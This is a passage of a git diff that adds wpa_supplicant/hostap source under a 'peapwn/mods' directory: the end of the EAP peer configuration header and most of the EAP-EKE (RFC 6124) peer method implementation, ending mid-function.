ca_cert2 - File path to CA certificate file (PEM/DER) (Phase 2) + * + * This file can have one or more trusted CA certificates. If ca_cert2 + * and ca_path2 are not included, server certificate will not be + * verified. This is insecure and a trusted CA certificate should + * always be configured. Full path to the file should be used since + * working directory may change when wpa_supplicant is run in the + * background. + * + * This field is like ca_cert, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. + * + * Alternatively, a named configuration blob can be used by setting + * this to blob://blob_name. + */ + u8 *ca_cert2; + + /** + * ca_path2 - Directory path for CA certificate files (PEM) (Phase 2) + * + * This path may contain multiple CA certificates in OpenSSL format. + * Common use for this is to point to system trusted CA list which is + * often installed into directory like /etc/ssl/certs. If configured, + * these certificates are added to the list of trusted CAs. ca_cert + * may also be included in that case, but it is not required. + * + * This field is like ca_path, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. + */ + u8 *ca_path2; + + /** + * client_cert2 - File path to client certificate file + * + * This field is like client_cert, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. Full path to the + * file should be used since working directory may change when + * wpa_supplicant is run in the background. + * + * Alternatively, a named configuration blob can be used by setting + * this to blob://blob_name. + */ + u8 *client_cert2; + + /** + * private_key2 - File path to client private key file + * + * This field is like private_key, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. Full path to the + * file should be used since working directory may change when + * wpa_supplicant is run in the background. + * + * Alternatively, a named configuration blob can be used by setting + * this to blob://blob_name. + */ + u8 *private_key2; + + /** + * private_key2_passwd - Password for private key file + * + * This field is like private_key_passwd, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. + */ + u8 *private_key2_passwd; + + /** + * dh_file2 - File path to DH/DSA parameters file (in PEM format) + * + * This field is like dh_file, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. Full path to the + * file should be used since working directory may change when + * wpa_supplicant is run in the background. + * + * Alternatively, a named configuration blob can be used by setting + * this to blob://blob_name. + */ + u8 *dh_file2; + + /** + * subject_match2 - Constraint for server certificate subject + * + * This field is like subject_match, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. + */ + u8 *subject_match2; + + /** + * altsubject_match2 - Constraint for server certificate alt. subject + * + * This field is like altsubject_match, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. + */ + u8 *altsubject_match2; + + /** + * domain_suffix_match2 - Constraint for server domain name + * + * This field is like domain_suffix_match, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. + */ + char *domain_suffix_match2; + + /** + * eap_methods - Allowed EAP methods + * + * (vendor=EAP_VENDOR_IETF,method=EAP_TYPE_NONE) terminated list of + * allowed EAP methods or %NULL if all methods are accepted. + */ + struct eap_method_type *eap_methods; + + /** + * phase1 - Phase 1 (outer authentication) parameters + * + * String with field-value pairs, e.g., "peapver=0" or + * "peapver=1 peaplabel=1". + * + * 'peapver' can be used to force which PEAP version (0 or 1) is used. + * + * 'peaplabel=1' can be used to force new label, "client PEAP + * encryption", to be used during key derivation when PEAPv1 or newer. + * + * Most existing PEAPv1 implementation seem to be using the old label, + * "client EAP encryption", and wpa_supplicant is now using that as the + * default value. + * + * Some servers, e.g., Radiator, may require peaplabel=1 configuration + * to interoperate with PEAPv1; see eap_testing.txt for more details. + * + * 'peap_outer_success=0' can be used to terminate PEAP authentication + * on tunneled EAP-Success. This is required with some RADIUS servers + * that implement draft-josefsson-pppext-eap-tls-eap-05.txt (e.g., + * Lucent NavisRadius v4.4.0 with PEAP in "IETF Draft 5" mode). + * + * include_tls_length=1 can be used to force wpa_supplicant to include + * TLS Message Length field in all TLS messages even if they are not + * fragmented. + * + * sim_min_num_chal=3 can be used to configure EAP-SIM to require three + * challenges (by default, it accepts 2 or 3). + * + * result_ind=1 can be used to enable EAP-SIM and EAP-AKA to use + * protected result indication. + * + * fast_provisioning option can be used to enable in-line provisioning + * of EAP-FAST credentials (PAC): + * 0 = disabled, + * 1 = allow unauthenticated provisioning, + * 2 = allow authenticated provisioning, + * 3 = allow both unauthenticated and authenticated provisioning + * + * fast_max_pac_list_len=num option can be used to set the maximum + * number of PAC entries to store in a PAC list (default: 10). + * + * fast_pac_format=binary option can be used to select binary format + * for storing PAC entries in order to save some space (the default + * text format uses about 2.5 times the size of minimal binary format). + * + * crypto_binding option can be used to control PEAPv0 cryptobinding + * behavior: + * 0 = do not use cryptobinding (default) + * 1 = use cryptobinding if server supports it + * 2 = require cryptobinding + * + * EAP-WSC (WPS) uses following options: pin=Device_Password and + * uuid=Device_UUID + */ + char *phase1; + + /** + * phase2 - Phase2 (inner authentication with TLS tunnel) parameters + * + * String with field-value pairs, e.g., "auth=MSCHAPV2" for EAP-PEAP or + * "autheap=MSCHAPV2 autheap=MD5" for EAP-TTLS. + */ + char *phase2; + + /** + * pcsc - Parameters for PC/SC smartcard interface for USIM and GSM SIM + * + * This field is used to configure PC/SC smartcard interface. + * Currently, the only configuration is whether this field is %NULL (do + * not use PC/SC) or non-NULL (e.g., "") to enable PC/SC. + * + * This field is used for EAP-SIM and EAP-AKA. + */ + char *pcsc; + + /** + * pin - PIN for USIM, GSM SIM, and smartcards + * + * This field is used to configure PIN for SIM and smartcards for + * EAP-SIM and EAP-AKA. In addition, this is used with EAP-TLS if a + * smartcard is used for private key operations. + * + * If left out, this will be asked through control interface. + */ + char *pin; + + /** + * engine - Enable OpenSSL engine (e.g., for smartcard access) + * + * This is used if private key operations for EAP-TLS are performed + * using a smartcard. + */ + int engine; + + /** + * engine_id - Engine ID for OpenSSL engine + * + * "opensc" to select OpenSC engine or "pkcs11" to select PKCS#11 + * engine. + * + * This is used if private key operations for EAP-TLS are performed + * using a smartcard. + */ + char *engine_id; + + /** + * engine2 - Enable OpenSSL engine (e.g., for smartcard) (Phase 2) + * + * This is used if private key operations for EAP-TLS are performed + * using a smartcard. + * + * This field is like engine, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. + */ + int engine2; + + + /** + * pin2 - PIN for USIM, GSM SIM, and smartcards (Phase 2) + * + * This field is used to configure PIN for SIM and smartcards for + * EAP-SIM and EAP-AKA. In addition, this is used with EAP-TLS if a + * smartcard is used for private key operations. + * + * This field is like pin2, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. + * + * If left out, this will be asked through control interface. + */ + char *pin2; + + /** + * engine2_id - Engine ID for OpenSSL engine (Phase 2) + * + * "opensc" to select OpenSC engine or "pkcs11" to select PKCS#11 + * engine. + * + * This is used if private key operations for EAP-TLS are performed + * using a smartcard. + * + * This field is like engine_id, but used for phase 2 (inside + * EAP-TTLS/PEAP/FAST tunnel) authentication. + */ + char *engine2_id; + + + /** + * key_id - Key ID for OpenSSL engine + * + * This is used if private key operations for EAP-TLS are performed + * using a smartcard. + */ + char *key_id; + + /** + * cert_id - Cert ID for OpenSSL engine + * + * This is used if the certificate operations for EAP-TLS are performed + * using a smartcard. + */ + char *cert_id; + + /** + * ca_cert_id - CA Cert ID for OpenSSL engine + * + * This is used if the CA certificate for EAP-TLS is on a smartcard. + */ + char *ca_cert_id; + + /** + * key2_id - Key ID for OpenSSL engine (phase2) + * + * This is used if private key operations for EAP-TLS are performed + * using a smartcard. + */ + char *key2_id; + + /** + * cert2_id - Cert ID for OpenSSL engine (phase2) + * + * This is used if the certificate operations for EAP-TLS are performed + * using a smartcard. + */ + char *cert2_id; + + /** + * ca_cert2_id - CA Cert ID for OpenSSL engine (phase2) + * + * This is used if the CA certificate for EAP-TLS is on a smartcard. + */ + char *ca_cert2_id; + + /** + * otp - One-time-password + * + * This field should not be set in configuration step. It is only used + * internally when OTP is entered through the control interface. + */ + u8 *otp; + + /** + * otp_len - Length of the otp field + */ + size_t otp_len; + + /** + * pending_req_identity - Whether there is a pending identity request + * + * This field should not be set in configuration step. It is only used + * internally when control interface is used to request needed + * information. + */ + int pending_req_identity; + + /** + * pending_req_password - Whether there is a pending password request + * + * This field should not be set in configuration step. It is only used + * internally when control interface is used to request needed + * information. + */ + int pending_req_password; + + /** + * pending_req_pin - Whether there is a pending PIN request + * + * This field should not be set in configuration step. It is only used + * internally when control interface is used to request needed + * information. + */ + int pending_req_pin; + + /** + * pending_req_new_password - Pending password update request + * + * This field should not be set in configuration step. It is only used + * internally when control interface is used to request needed + * information. + */ + int pending_req_new_password; + + /** + * pending_req_passphrase - Pending passphrase request + * + * This field should not be set in configuration step. It is only used + * internally when control interface is used to request needed + * information. + */ + int pending_req_passphrase; + + /** + * pending_req_otp - Whether there is a pending OTP request + * + * This field should not be set in configuration step. It is only used + * internally when control interface is used to request needed + * information. + */ + char *pending_req_otp; + + /** + * pending_req_otp_len - Length of the pending OTP request + */ + size_t pending_req_otp_len; + + /** + * pac_file - File path or blob name for the PAC entries (EAP-FAST) + * + * wpa_supplicant will need to be able to create this file and write + * updates to it when PAC is being provisioned or refreshed. Full path + * to the file should be used since working directory may change when + * wpa_supplicant is run in the background. + * Alternatively, a named configuration blob can be used by setting + * this to blob://blob_name. + */ + char *pac_file; + + /** + * mschapv2_retry - MSCHAPv2 retry in progress + * + * This field is used internally by EAP-MSCHAPv2 and should not be set + * as part of configuration. + */ + int mschapv2_retry; + + /** + * new_password - New password for password update + * + * This field is used during MSCHAPv2 password update. This is normally + * requested from the user through the control interface and not set + * from configuration. + */ + u8 *new_password; + + /** + * new_password_len - Length of new_password field + */ + size_t new_password_len; + + /** + * fragment_size - Maximum EAP fragment size in bytes (default 1398) + * + * This value limits the fragment size for EAP methods that support + * fragmentation (e.g., EAP-TLS and EAP-PEAP). This value should be set + * small enough to make the EAP messages fit in MTU of the network + * interface used for EAPOL. The default value is suitable for most + * cases. + */ + int fragment_size; + +#define EAP_CONFIG_FLAGS_PASSWORD_NTHASH BIT(0) +#define EAP_CONFIG_FLAGS_EXT_PASSWORD BIT(1) + /** + * flags - Network configuration flags (bitfield) + * + * This variable is used for internal flags to describe further details + * for the network parameters. + * bit 0 = password is represented as a 16-byte NtPasswordHash value + * instead of plaintext password + * bit 1 = password is stored in external storage; the value in the + * password field is the name of that external entry + */ + u32 flags; + + /** + * ocsp - Whether to use/require OCSP to check server certificate + * + * 0 = do not use OCSP stapling (TLS certificate status extension) + * 1 = try to use OCSP stapling, but not require response + * 2 = require valid OCSP stapling response + */ + int ocsp; + + /** + * external_sim_resp - Response from external SIM processing + * + * This field should not be set in configuration step. It is only used + * internally when control interface is used to request external + * SIM/USIM processing. + */ + char *external_sim_resp; +}; + + +/** + * struct wpa_config_blob - Named configuration blob + * + * This data structure is used to provide storage for binary objects to store + * abstract information like certificates and private keys inlined with the + * configuration data. + */ +struct wpa_config_blob { + /** + * name - Blob name + */ + char *name; + + /** + * data - Pointer to binary data + */ + u8 *data; + + /** + * len - Length of binary data + */ + size_t len; + + /** + * next - Pointer to next blob in the configuration + */ + struct wpa_config_blob *next; +}; + +#endif /* EAP_CONFIG_H */ diff --git a/peapwn/mods/hostap/src/eap_peer/eap_eke.c b/peapwn/mods/hostap/src/eap_peer/eap_eke.c new file mode 100644 index 000000000..c71db5fd7 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_eke.c @@ -0,0 +1,723 @@ +/* + * EAP peer method: EAP-EKE (RFC 6124) + * Copyright (c) 2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/random.h" +#include "eap_peer/eap_i.h" +#include "eap_common/eap_eke_common.h" + +struct eap_eke_data { + enum { + IDENTITY, COMMIT, CONFIRM, SUCCESS, FAILURE + } state; + u8 msk[EAP_MSK_LEN]; + u8 emsk[EAP_EMSK_LEN]; + u8 *peerid; + size_t peerid_len; + u8 *serverid; + size_t serverid_len; + u8 dh_priv[EAP_EKE_MAX_DH_LEN]; + struct eap_eke_session sess; + u8 nonce_p[EAP_EKE_MAX_NONCE_LEN]; + u8 nonce_s[EAP_EKE_MAX_NONCE_LEN]; + struct wpabuf *msgs; +}; + + +static const char * eap_eke_state_txt(int state) +{ + switch (state) { + case IDENTITY: + return "IDENTITY"; + case COMMIT: + return "COMMIT"; + case CONFIRM: + return "CONFIRM"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "?"; + } +} + + +static void eap_eke_state(struct eap_eke_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-EKE: %s -> %s", + eap_eke_state_txt(data->state), eap_eke_state_txt(state)); + data->state = state; +} + + +static void eap_eke_deinit(struct eap_sm *sm, void *priv); + + +static void * eap_eke_init(struct eap_sm *sm) +{ + struct eap_eke_data *data; + const u8 *identity, *password; + size_t identity_len, password_len; + + password = eap_get_config_password(sm, &password_len); + if (!password) { + wpa_printf(MSG_INFO, "EAP-EKE: No password configured"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + eap_eke_state(data, IDENTITY); + + identity = eap_get_config_identity(sm, &identity_len); + if (identity) { + data->peerid = os_malloc(identity_len); + if (data->peerid == NULL) { + eap_eke_deinit(sm, data); + return NULL; + } + os_memcpy(data->peerid, identity, identity_len); + data->peerid_len = identity_len; + } + + return data; +} + + +static void eap_eke_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_eke_data *data = priv; + eap_eke_session_clean(&data->sess); + os_free(data->serverid); + os_free(data->peerid); + wpabuf_free(data->msgs); + os_free(data); +} + + +static struct wpabuf * eap_eke_build_msg(struct eap_eke_data *data, int id, + size_t length, u8 eke_exch) +{ + struct wpabuf *msg; + size_t plen; + + plen = 1 + length; + + msg = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_EKE, plen, + EAP_CODE_RESPONSE, id); + if (msg == NULL) { + wpa_printf(MSG_ERROR, "EAP-EKE: Failed to allocate memory"); + return NULL; + } + + wpabuf_put_u8(msg, eke_exch); + + return msg; +} + + +static int eap_eke_supp_dhgroup(u8 dhgroup) +{ + return dhgroup == EAP_EKE_DHGROUP_EKE_2 || + dhgroup == EAP_EKE_DHGROUP_EKE_5 || + dhgroup == EAP_EKE_DHGROUP_EKE_14 || + dhgroup == EAP_EKE_DHGROUP_EKE_15 || + dhgroup == EAP_EKE_DHGROUP_EKE_16; +} + + +static int eap_eke_supp_encr(u8 encr) +{ + return encr == EAP_EKE_ENCR_AES128_CBC; +} + + +static int eap_eke_supp_prf(u8 prf) +{ + return prf == EAP_EKE_PRF_HMAC_SHA1 || + prf == EAP_EKE_PRF_HMAC_SHA2_256; +} + + +static int eap_eke_supp_mac(u8 mac) +{ + return mac == EAP_EKE_MAC_HMAC_SHA1 || + mac == EAP_EKE_MAC_HMAC_SHA2_256; +} + + +static struct wpabuf * eap_eke_build_fail(struct eap_eke_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + u32 failure_code) +{ + struct wpabuf *resp; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Sending EAP-EKE-Failure/Response - code=0x%x", + failure_code); + + resp = eap_eke_build_msg(data, eap_get_id(reqData), 4, EAP_EKE_FAILURE); + if (resp) + wpabuf_put_be32(resp, failure_code); + + os_memset(data->dh_priv, 0, sizeof(data->dh_priv)); + eap_eke_session_clean(&data->sess); + + eap_eke_state(data, FAILURE); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + ret->allowNotifications = FALSE; + + return resp; +} + + +static struct wpabuf * eap_eke_process_id(struct eap_eke_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, + size_t payload_len) +{ + struct wpabuf *resp; + unsigned num_prop, i; + const u8 *pos, *end; + const u8 *prop = NULL; + u8 idtype; + + if (data->state != IDENTITY) { + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PROTO_ERROR); + } + + wpa_printf(MSG_DEBUG, "EAP-EKE: Received EAP-EKE-ID/Request"); + + if (payload_len < 2 + 4) { + wpa_printf(MSG_DEBUG, "EAP-EKE: Too short ID/Request Data"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PROTO_ERROR); + } + + pos = payload; + end = payload + payload_len; + + num_prop = *pos++; + pos++; /* Ignore Reserved field */ + + if (pos + num_prop * 4 > end) { + wpa_printf(MSG_DEBUG, "EAP-EKE: Too short ID/Request Data (num_prop=%u)", + num_prop); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PROTO_ERROR); + } + + for (i = 0; i < num_prop; i++) { + const u8 *tmp = pos; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Proposal #%u: dh=%u encr=%u prf=%u mac=%u", + i, pos[0], pos[1], pos[2], pos[3]); + pos += 4; + + if (!eap_eke_supp_dhgroup(*tmp)) + continue; + tmp++; + if (!eap_eke_supp_encr(*tmp)) + continue; + tmp++; + if (!eap_eke_supp_prf(*tmp)) + continue; + tmp++; + if (!eap_eke_supp_mac(*tmp)) + continue; + + prop = tmp - 3; + if (eap_eke_session_init(&data->sess, prop[0], prop[1], prop[2], + prop[3]) < 0) { + prop = NULL; + continue; + } + + wpa_printf(MSG_DEBUG, "EAP-EKE: Selected proposal"); + break; + } + + if (prop == NULL) { + wpa_printf(MSG_DEBUG, "EAP-EKE: No acceptable proposal found"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_NO_PROPOSAL_CHOSEN); + } + + pos += (num_prop - i - 1) * 4; + + if (pos == end) { + wpa_printf(MSG_DEBUG, "EAP-EKE: Too short ID/Request Data to include IDType/Identity"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PROTO_ERROR); + } + + idtype = *pos++; + wpa_printf(MSG_DEBUG, "EAP-EKE: Server IDType %u", idtype); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-EKE: Server Identity", + pos, end - pos); + os_free(data->serverid); + data->serverid = os_malloc(end - pos); + if (data->serverid == NULL) { + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + os_memcpy(data->serverid, pos, end - pos); + data->serverid_len = end - pos; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Sending EAP-EKE-ID/Response"); + + resp = eap_eke_build_msg(data, eap_get_id(reqData), + 2 + 4 + 1 + data->peerid_len, + EAP_EKE_ID); + if (resp == NULL) { + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + + wpabuf_put_u8(resp, 1); /* NumProposals */ + wpabuf_put_u8(resp, 0); /* Reserved */ + wpabuf_put_data(resp, prop, 4); /* Selected Proposal */ + wpabuf_put_u8(resp, EAP_EKE_ID_NAI); + if (data->peerid) + wpabuf_put_data(resp, data->peerid, data->peerid_len); + + wpabuf_free(data->msgs); + data->msgs = wpabuf_alloc(wpabuf_len(reqData) + wpabuf_len(resp)); + if (data->msgs == NULL) { + wpabuf_free(resp); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + wpabuf_put_buf(data->msgs, reqData); + wpabuf_put_buf(data->msgs, resp); + + eap_eke_state(data, COMMIT); + + return resp; +} + + +static struct wpabuf * eap_eke_process_commit(struct eap_sm *sm, + struct eap_eke_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, + size_t payload_len) +{ + struct wpabuf *resp; + const u8 *pos, *end, *dhcomp; + size_t prot_len; + u8 *rpos; + u8 key[EAP_EKE_MAX_KEY_LEN]; + u8 pub[EAP_EKE_MAX_DH_LEN]; + const u8 *password; + size_t password_len; + + if (data->state != COMMIT) { + wpa_printf(MSG_DEBUG, "EAP-EKE: EAP-EKE-Commit/Request received in unexpected state (%d)", data->state); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PROTO_ERROR); + } + + wpa_printf(MSG_DEBUG, "EAP-EKE: Received EAP-EKE-Commit/Request"); + + password = eap_get_config_password(sm, &password_len); + if (password == NULL) { + wpa_printf(MSG_INFO, "EAP-EKE: No password configured!"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PASSWD_NOT_FOUND); + } + + pos = payload; + end = payload + payload_len; + + if (pos + data->sess.dhcomp_len > end) { + wpa_printf(MSG_DEBUG, "EAP-EKE: Too short EAP-EKE-Commit"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PROTO_ERROR); + } + + wpa_hexdump(MSG_DEBUG, "EAP-EKE: DHComponent_S", + pos, data->sess.dhcomp_len); + dhcomp = pos; + pos += data->sess.dhcomp_len; + wpa_hexdump(MSG_DEBUG, "EAP-EKE: CBValue", pos, end - pos); + + /* + * temp = prf(0+, password) + * key = prf+(temp, ID_S | ID_P) + */ + if (eap_eke_derive_key(&data->sess, password, password_len, + data->serverid, data->serverid_len, + data->peerid, data->peerid_len, key) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to derive key"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + + /* + * y_p = g ^ x_p (mod p) + * x_p = random number 2 .. p-1 + */ + if (eap_eke_dh_init(data->sess.dhgroup, data->dh_priv, pub) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to initialize DH"); + os_memset(key, 0, sizeof(key)); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + + if (eap_eke_shared_secret(&data->sess, key, data->dh_priv, dhcomp) < 0) + { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to derive shared secret"); + os_memset(key, 0, sizeof(key)); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + + if (eap_eke_derive_ke_ki(&data->sess, + data->serverid, data->serverid_len, + data->peerid, data->peerid_len) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to derive Ke/Ki"); + os_memset(key, 0, sizeof(key)); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + + wpa_printf(MSG_DEBUG, "EAP-EKE: Sending EAP-EKE-Commit/Response"); + + resp = eap_eke_build_msg(data, eap_get_id(reqData), + data->sess.dhcomp_len + data->sess.pnonce_len, + EAP_EKE_COMMIT); + if (resp == NULL) { + os_memset(key, 0, sizeof(key)); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + + /* DHComponent_P = Encr(key, y_p) */ + rpos = wpabuf_put(resp, data->sess.dhcomp_len); + if (eap_eke_dhcomp(&data->sess, key, pub, rpos) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to build DHComponent_S"); + os_memset(key, 0, sizeof(key)); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + os_memset(key, 0, sizeof(key)); + + wpa_hexdump(MSG_DEBUG, "EAP-EKE: DHComponent_P", + rpos, data->sess.dhcomp_len); + + if (random_get_bytes(data->nonce_p, data->sess.nonce_len)) { + wpabuf_free(resp); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Nonce_P", + data->nonce_p, data->sess.nonce_len); + prot_len = wpabuf_tailroom(resp); + if (eap_eke_prot(&data->sess, data->nonce_p, data->sess.nonce_len, + wpabuf_put(resp, 0), &prot_len) < 0) { + wpabuf_free(resp); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + wpa_hexdump(MSG_DEBUG, "EAP-EKE: PNonce_P", + wpabuf_put(resp, 0), prot_len); + wpabuf_put(resp, prot_len); + + /* TODO: CBValue */ + + if (wpabuf_resize(&data->msgs, wpabuf_len(reqData) + wpabuf_len(resp)) + < 0) { + wpabuf_free(resp); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + wpabuf_put_buf(data->msgs, reqData); + wpabuf_put_buf(data->msgs, resp); + + eap_eke_state(data, CONFIRM); + + return resp; +} + + +static struct wpabuf * eap_eke_process_confirm(struct eap_eke_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, + size_t payload_len) +{ + struct wpabuf *resp; + const u8 *pos, *end; + size_t prot_len; + u8 nonces[2 * EAP_EKE_MAX_NONCE_LEN]; + u8 auth_s[EAP_EKE_MAX_HASH_LEN]; + size_t decrypt_len; + u8 *auth; + + if (data->state != CONFIRM) { + wpa_printf(MSG_DEBUG, "EAP-EKE: EAP-EKE-Confirm/Request received in unexpected state (%d)", + data->state); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PROTO_ERROR); + } + + wpa_printf(MSG_DEBUG, "EAP-EKE: Received EAP-EKE-Confirm/Request"); + + pos = payload; + end = payload + payload_len; + + if (pos + data->sess.pnonce_ps_len + data->sess.prf_len > end) { + wpa_printf(MSG_DEBUG, "EAP-EKE: Too short EAP-EKE-Commit"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PROTO_ERROR); + } + + decrypt_len = sizeof(nonces); + if (eap_eke_decrypt_prot(&data->sess, pos, data->sess.pnonce_ps_len, + nonces, &decrypt_len) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to decrypt PNonce_PS"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_AUTHENTICATION_FAIL); + } + if (decrypt_len != (size_t) 2 * data->sess.nonce_len) { + wpa_printf(MSG_INFO, "EAP-EKE: PNonce_PS protected data length does not match length of Nonce_P and Nonce_S"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_AUTHENTICATION_FAIL); + } + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Received Nonce_P | Nonce_S", + nonces, 2 * data->sess.nonce_len); + if (os_memcmp(data->nonce_p, nonces, data->sess.nonce_len) != 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Received Nonce_P does not match trnsmitted Nonce_P"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_AUTHENTICATION_FAIL); + } + + os_memcpy(data->nonce_s, nonces + data->sess.nonce_len, + data->sess.nonce_len); + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Nonce_S", + data->nonce_s, data->sess.nonce_len); + + if (eap_eke_derive_ka(&data->sess, data->serverid, data->serverid_len, + data->peerid, data->peerid_len, + data->nonce_p, data->nonce_s) < 0) { + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + + if (eap_eke_auth(&data->sess, "EAP-EKE server", data->msgs, auth_s) < 0) + { + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + wpa_hexdump(MSG_DEBUG, "EAP-EKE: Auth_S", auth_s, data->sess.prf_len); + if (os_memcmp(auth_s, pos + data->sess.pnonce_ps_len, + data->sess.prf_len) != 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Auth_S does not match"); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_AUTHENTICATION_FAIL); + } + + wpa_printf(MSG_DEBUG, "EAP-EKE: Sending EAP-EKE-Confirm/Response"); + + resp = eap_eke_build_msg(data, eap_get_id(reqData), + data->sess.pnonce_len + data->sess.prf_len, + EAP_EKE_CONFIRM); + if (resp == NULL) { + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + + prot_len = wpabuf_tailroom(resp); + if (eap_eke_prot(&data->sess, data->nonce_s, data->sess.nonce_len, + wpabuf_put(resp, 0), &prot_len) < 0) { + wpabuf_free(resp); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + wpabuf_put(resp, prot_len); + + auth = wpabuf_put(resp, data->sess.prf_len); + if (eap_eke_auth(&data->sess, "EAP-EKE peer", data->msgs, auth) < 0) { + wpabuf_free(resp); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + wpa_hexdump(MSG_DEBUG, "EAP-EKE: Auth_P", auth, data->sess.prf_len); + + if (eap_eke_derive_msk(&data->sess, data->serverid, data->serverid_len, + data->peerid, data->peerid_len, + data->nonce_s, data->nonce_p, + data->msk, data->emsk) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to derive MSK/EMSK"); + wpabuf_free(resp); + return eap_eke_build_fail(data, ret, reqData, + EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + } + + os_memset(data->dh_priv, 0, sizeof(data->dh_priv)); + eap_eke_session_clean(&data->sess); + + eap_eke_state(data, SUCCESS); + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_COND_SUCC; + ret->allowNotifications = FALSE; + + return resp; +} + + +static struct wpabuf * eap_eke_process_failure(struct eap_eke_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, + size_t payload_len) +{ + wpa_printf(MSG_DEBUG, "EAP-EKE: Received EAP-EKE-Failure/Request"); + + if (payload_len < 4) { + wpa_printf(MSG_DEBUG, "EAP-EKE: Too short EAP-EKE-Failure"); + } else { + u32 code; + code = WPA_GET_BE32(payload); + wpa_printf(MSG_INFO, "EAP-EKE: Failure-Code 0x%x", code); + } + + return eap_eke_build_fail(data, ret, reqData, EAP_EKE_FAIL_NO_ERROR); +} + + +static struct wpabuf * eap_eke_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct 